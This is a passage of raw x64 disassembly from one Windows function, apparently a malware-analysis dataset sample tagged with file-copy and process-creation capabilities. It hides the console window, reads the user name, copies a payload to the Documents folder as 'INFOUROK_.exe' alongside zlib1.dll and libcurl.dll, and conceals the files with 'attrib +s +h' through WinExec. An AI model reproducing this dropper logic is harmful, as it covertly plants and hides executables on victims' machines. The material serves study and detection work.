Function at 0x1400011c0
Capabilities:
Copy file
Create process on windows
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x90], 0x80
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea rax, [rbp + 0xa0]
mov r15, 0xffffffffffffffff
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140001250
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x140002e90
movabs rcx, 0x8000000000000000
mov eax, 0x16
mov qword [rbp - 0x78], 0xf
cmp rbx, 0xf
ja 0x1400012ab
mov qword [rbp - 0x80], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], r12b
jmp 0x140001335
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x1400012dd
mov rdi, r14
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x1400015b5
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001312
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001300
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e60
jmp 0x1400012be
test rcx, rcx
je 0x14000130f
call fcn.1400035a0
mov rsi, rax
jmp 0x140001312
mov rsi, r12
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r12b
mov r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r8
lea rdx, [0x1400053b9]
mov esi, 9
lea r13, str.C:Users_
cmp rax, rsi
jb 0x1400013cf
lea rax, [r8 + 9]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x70]
cmp rdx, rbx
jbe 0x140001392
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140001392
cmp rbx, r13
ja 0x14000138a
mov rdi, r12
jmp 0x140001395
mov rdi, rbx
sub rdi, r13
jmp 0x140001395
mov rdi, rsi
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8, rsi
sub r8, rdi
lea rdx, [r13 + 9]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x70]
jmp 0x1400013e6
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r13
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x140001468
lea rax, [rcx + 0x18]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [rsi + 0x18]
lea rdx, str.DocumentsINFOUROK_.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], sil
lea rax, [rsp + 0x30]
jmp 0x140001487
mov qword [rsp + 0x20], 0x18
lea r9, str.DocumentsINFOUROK_.exe
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8d, 1
lea rcx, str.Forge.bin
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000151c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001517
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001517
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000156f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000156a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000156a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400015c1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rax, [rbp + 0xa0]
mov rbx, r15
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400015e0
cmp rbx, r14
ja 0x140002e96
mov qword [rbp - 0x58], 0xf
cmp rbx, 0xf
ja 0x140001621
mov qword [rbp - 0x60], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x70], 0
jmp 0x1400016b7
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x14000165d
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x14000192d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001693
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001686
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e66
jmp 0x14000163e
test rcx, rcx
je 0x140001693
call fcn.1400035a0
mov rsi, rax
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor esi, esi
mov r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
sub rax, r8
lea rdx, [0x1400053e6]
lea r12, str.attrib_s_h_C:Users_
cmp rax, 0x16
jb 0x140001750
lea rax, [r8 + 0x16]
mov qword [rbp - 0x60], rax
lea rbx, [rbp - 0x70]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x70]
cmp rdx, rbx
jbe 0x14000170e
lea rax, [rbx + r8]
cmp r12, rax
ja 0x14000170e
cmp rbx, r12
ja 0x140001706
mov rdi, rsi
jmp 0x140001713
mov rdi, rbx
sub rdi, r12
jmp 0x140001713
mov edi, 0x16
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 0x16
sub r8, rdi
lea rdx, [r12 + 0x16]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x70]
jmp 0x14000176a
mov eax, 0x16
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
mov rax, r9
sub rax, rcx
cmp rax, 0x18
jb 0x1400017ec
lea rax, [rcx + 0x18]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp r9, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x18
lea rdx, str.DocumentsINFOUROK_.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], 0
lea rax, [rsp + 0x30]
jmp 0x14000180b
mov qword [rsp + 0x20], 0x18
lea r9, str.DocumentsINFOUROK_.exe
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001895
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001890
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001890
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400018e8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001939
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001934
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0xa0]
mov rbx, r15
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001960
cmp rbx, r14
ja 0x140002e9c
mov qword [rbp - 0x38], 0xf
cmp rbx, 0xf
ja 0x1400019a1
mov qword [rbp - 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x50], 0
jmp 0x140001a37
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x1400019dd
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140001cad
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001a13
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001a06
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e6c
jmp 0x1400019be
test rcx, rcx
je 0x140001a13
call fcn.1400035a0
mov rsi, rax
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
xor esi, esi
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x140001ac8
lea rax, [r8 + 9]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x50]
lea rax, [0x1400053b9]
cmp rax, rbx
jbe 0x140001a87
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140001a87
cmp rbx, r13
ja 0x140001a7f
mov rdi, rsi
jmp 0x140001a8c
mov rdi, rbx
sub rdi, r13
jmp 0x140001a8c
mov edi, 9
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 9
sub r8, rdi
lea rdx, [rdi + 9]
add rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x50]
jmp 0x140001ae2
mov eax, 9
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov edx, eax
lea rcx, [rbp - 0x50]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x14
jb 0x140001b64
lea rax, [rcx + 0x14]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x14
lea rdx, str.Documentszlib1.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], 0
lea rax, [rsp + 0x30]
jmp 0x140001b83
mov qword [rsp + 0x20], 0x14
lea r9, str.Documentszlib1.dll
mov edx, 0x14
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, str.zlib1.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001c15
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001c68
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001cb9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
lea rax, [rbp + 0xa0]
mov rbx, r15
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001cd2
cmp rbx, r14
ja 0x140002ea2
mov qword [rbp - 0x18], 0xf
cmp rbx, 0xf
ja 0x140001d13
mov qword [rbp - 0x20], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x30], 0
jmp 0x140001da9
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x140001d4f
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140002017
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001d85
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001d78
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e72
jmp 0x140001d30
test rcx, rcx
je 0x140001d85
call fcn.1400035a0
mov rsi, rax
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor esi, esi
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x16
jb 0x140001e3a
lea rax, [r8 + 0x16]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x30]
lea rax, [0x1400053e6]
cmp rax, rbx
jbe 0x140001df9
lea rax, [rbx + r8]
cmp r12, rax
ja 0x140001df9
cmp rbx, r12
ja 0x140001df1
mov rdi, rsi
jmp 0x140001dfe
mov rdi, rbx
sub rdi, r12
jmp 0x140001dfe
mov edi, 0x16
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 0x16
sub r8, rdi
lea rdx, [rdi + 0x16]
add rdx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x30]
jmp 0x140001e54
mov eax, 0x16
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
mov rax, r9
sub rax, rcx
cmp rax, 0x14
jb 0x140001ed6
lea rax, [rcx + 0x14]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp r9, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x14
lea rdx, str.Documentszlib1.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], 0
lea rax, [rsp + 0x30]
jmp 0x140001ef5
mov qword [rsp + 0x20], 0x14
lea r9, str.Documentszlib1.dll
mov edx, 0x14
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001f7f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001fd2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fcd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
movdqa xmm0, xmmword [0x140005490]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002023
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000201e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000201e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
lea rax, [rbp + 0xa0]
mov rbx, r15
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002047
cmp rbx, r14
ja 0x140002ea8
mov qword [rbp + 8], 0xf
cmp rbx, 0xf
ja 0x140002088
mov qword [rbp], rbx
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x10], 0
jmp 0x14000211e
mov rdi, rbx
or rdi, 0xf
cmp rdi, r14
jbe 0x1400020c4
mov rdi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140002396
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400020fa
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400020ed
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002e78
jmp 0x1400020a5
test rcx, rcx
je 0x1400020fa
call fcn.1400035a0
mov rsi, rax
mov qword [rbp - 0x10], rsi
mov qword [rbp], rbx
mov qword [rbp + 8], rdi
mov r8, rbx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
xor esi, esi
mov r8, qword [rbp]
mov rcx, qword [rbp + 8]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x1400021b3
lea rax, [r8 + 9]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x10]
lea rax, [0x1400053b9]
cmp rax, rbx
jbe 0x140002172
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140002172
cmp rbx, r13
ja 0x14000216a
mov rdi, rsi
jmp 0x140002177
mov rdi, rbx
sub rdi, r13
jmp 0x140002177
mov edi, 9
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 9
sub r8, rdi
lea rdx, [rdi + 9]
add rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x10]
jmp 0x1400021cd
mov eax, 9
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.140003260
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x14000224f
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x16
lea rdx, str.Documentslibcurl.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], 0
lea rax, [rsp + 0x30]
jmp 0x14000226c
mov eax, 0x16
mov qword [rsp + 0x20], rax
lea r9, str.Documentslibcurl.dll
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.1400033e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, str.libcurl.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
